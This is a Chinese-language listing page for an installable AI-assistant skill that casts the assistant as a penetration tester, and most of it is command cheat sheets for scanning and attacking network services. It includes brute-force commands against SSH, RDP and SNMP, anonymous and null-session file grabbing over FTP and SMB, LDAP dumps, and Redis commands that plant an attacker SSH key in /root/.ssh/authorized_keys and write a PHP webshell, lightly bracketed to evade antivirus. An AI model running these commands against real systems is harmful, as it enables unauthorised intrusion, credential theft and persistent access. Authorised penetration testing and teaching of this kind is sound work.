mcpField
E
enumerating-network-services

enumerating-network-services

github.com/trilwu安全177100 次安装12 周前更新
代码仓库

关于 enumerating-network-services

面向安全从业者的网络渗透测试技能,涵盖常见网络协议的服务发现、枚举与利用。它将扫描流程与 SMB、FTP、SSH、数据库和 LDAP 等服务的专项检查结合起来。

主要功能

  1. 01端口扫描与服务发现
  2. 02SMB、FTP 和 SSH 检查
  3. 03HTTP、RDP 与数据库测试
  4. 04横幅与版本检测
  5. 05协议专项枚举

适用场景

  1. 01在渗透测试中绘制暴露服务
  2. 02识别服务版本与配置错误
  3. 03测试数据库和文件共享服务

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill enumerating-network-services

安装后在 Claude Code 中输入/enumerating-network-services确认已加载。

附带文件references/database-services.md

详细介绍

网络服务枚举技能

你是一名专注于服务枚举和利用的网络渗透测试专家。用户请求以下方面的帮助时,请使用此技能:

  • 按端口枚举网络服务
  • 利用常见网络服务(SMB、FTP、SSH、RDP 等)
  • 数据库服务测试(MySQL、MSSQL、PostgreSQL、MongoDB)
  • 识别特定服务的漏洞
  • 获取 Banner 和检测版本
  • 网络协议分析

适用场景

用户要求以下操作时,启用此技能:

  • 枚举特定端口上的网络服务
  • 测试常见网络服务漏洞
  • 连接并利用数据库服务
  • 执行针对特定服务的侦察
  • 识别服务配置错误
  • 从网络服务中提取数据
  • 协助进行网络渗透测试

不适用场景

  • 有源代码可用 — 使用 auditing-code-for-vulnerabilities
  • 专门针对 Web 应用层 — 使用 testing-web-applications
  • 云服务提供商 API 和控制平面 — 使用 exploiting-cloud-platforms
  • 接触目标前进行被动 OSINT — 使用 performing-reconnaissance
  • 网络上的 ICS/OT 协议(Modbus/502、DNP3、S7comm/102、OPC UA、 BACnet)— 使用 testing-ics-ot-protocols;像扫描 IT 服务那样扫描这些协议 可能会导致 PLC 崩溃,而且安全规则也有所不同

核心方法

1. 端口扫描和服务发现

Nmap 扫描策略:

# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10

# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan

# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10

# Aggressive scan
nmap -A -T4 10.10.10.10

# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10

# Service version detection
nmap -sV --version-intensity 9 10.10.10.10

# OS detection
sudo nmap -O 10.10.10.10

快速端口扫描:

# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000

# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
2. SMB/SAMBA(端口 139、445)

枚举:

# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10

# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username

# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R  # Recursive listing

# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10
nxc smb 10.10.10.10 -u '' -p ''  # Null session
nxc smb 10.10.10.10 -u username -p password --shares
nxc smb 10.10.10.10 -u username -p password --users

连接到共享:

# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N  # Null session

# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass

# Download all files recursively
smbget -R smb://10.10.10.10/share -U username

SMB 漏洞:

# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10

# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10
3. FTP(端口 21)

枚举:

# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous

# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10

# Download all files
wget -r ftp://anonymous:[email protected]/

FTP 命令:

# In FTP session
ls -la
cd directory
get filename  # Download
mget *  # Download multiple
put filename  # Upload
binary  # Set binary mode for binaries
4. SSH(端口 22)

枚举:

# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10

# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10

# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10

SSH 密钥认证:

# Connect with key
ssh -i id_rsa [email protected]

# Fix key permissions
chmod 600 id_rsa

# Generate SSH key pair
ssh-keygen -t rsa -b 4096
5. HTTP/HTTPS(端口 80、443、8080、8443)

Web 枚举:

# Whatweb - identify web technologies
whatweb http://10.10.10.10

# Nikto vulnerability scanner
nikto -h http://10.10.10.10

# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt

# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt

# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt

SSL/TLS 测试:

# Check SSL certificate
openssl s_client -connect 10.10.10.10:443

# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10
6. RDP(端口 3389)

枚举:

# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10

# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10

连接:

# rdesktop
rdesktop 10.10.10.10

# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10

暴力破解:

# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt
7-10. 数据库服务(MySQL、MSSQL、PostgreSQL、MongoDB)

MySQL/MariaDB(3306)、MSSQL(1433)、PostgreSQL(5432)和 MongoDB(27017)的 完整服务枚举和利用命令目录见 references/database-services.md。

11. Redis(端口 6379)

枚举:

# Connect
redis-cli -h 10.10.10.10

# Nmap
nmap -p 6379 --script redis-* 10.10.10.10

Redis 利用:

# In redis-cli
INFO  # Server info
CONFIG GET dir  # Get directory
CONFIG GET dbfilename

# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE

# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php syst[e]m($_GET['cmd']); ?>"
SAVE

syst[e]m 表示 system,用方括号括起是为了避免此文件匹配到杀毒软件的 Webshell 特征。参见仓库 README 中的“杀毒软件误报”。

12. LDAP(端口 389、636)

枚举:

# Nmap
nmap -p 389 --script ldap-* 10.10.10.10

# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "[email protected]" -w password -b "DC=domain,DC=local"

# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"
13. NFS(端口 2049)

枚举:

# Show exports
showmount -e 10.10.10.10

# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10

挂载 NFS:

# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs

# List mounted shares
df -h
14. DNS(端口 53)

枚举:

# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10

# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com

# Nmap
nmap -p 53 --script dns-* 10.10.10.10
15. SNMP(端口 161)

枚举:

# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1

# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10

# snmp-check
snmp-check 10.10.10.10 -c public

快速服务测试命令

获取 Banner:

# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21

# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25

# Nmap
nmap -sV --script=banner 10.10.10.10

参考链接

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据 当前 ATT&CK 版本重新核验。

侦察(TA0043)

  • T1595 主动扫描 — 另请参阅 performing-reconnaissance
  • T1595.002 漏洞扫描

初始访问(TA0001)

  • T1133 外部远程服务 (也属于持久化)
  • T1190 利用面向公众的应用程序 — 另请参阅 testing-web-applications、testing-apis、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe

执行(TA0002)

  • T1059 命令和脚本解释器 — 另请参阅 testing-web-applications

凭据访问(TA0006)

  • T1040 网络嗅探 (也属于发现) — 另请参阅 attacking-wireless-networks

发现(TA0007)

  • T1018 远程系统发现 — 另请参阅 attacking-active-directory
  • T1046 网络服务发现

横向移动(TA0008)

  • T1021 远程服务 — 另请参阅 attacking-active-directory
  • T1021.002 SMB/Windows 管理共享 — 另请参阅 attacking-active-directory
  • T1021.004 SSH — 另请参阅 escalating-linux-privileges
  • T1210 利用远程服务 — 另请参阅 exploiting-memory-corruption

针对以上任一项的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后处置:responding-to-incidents。

评论

支持 Markdown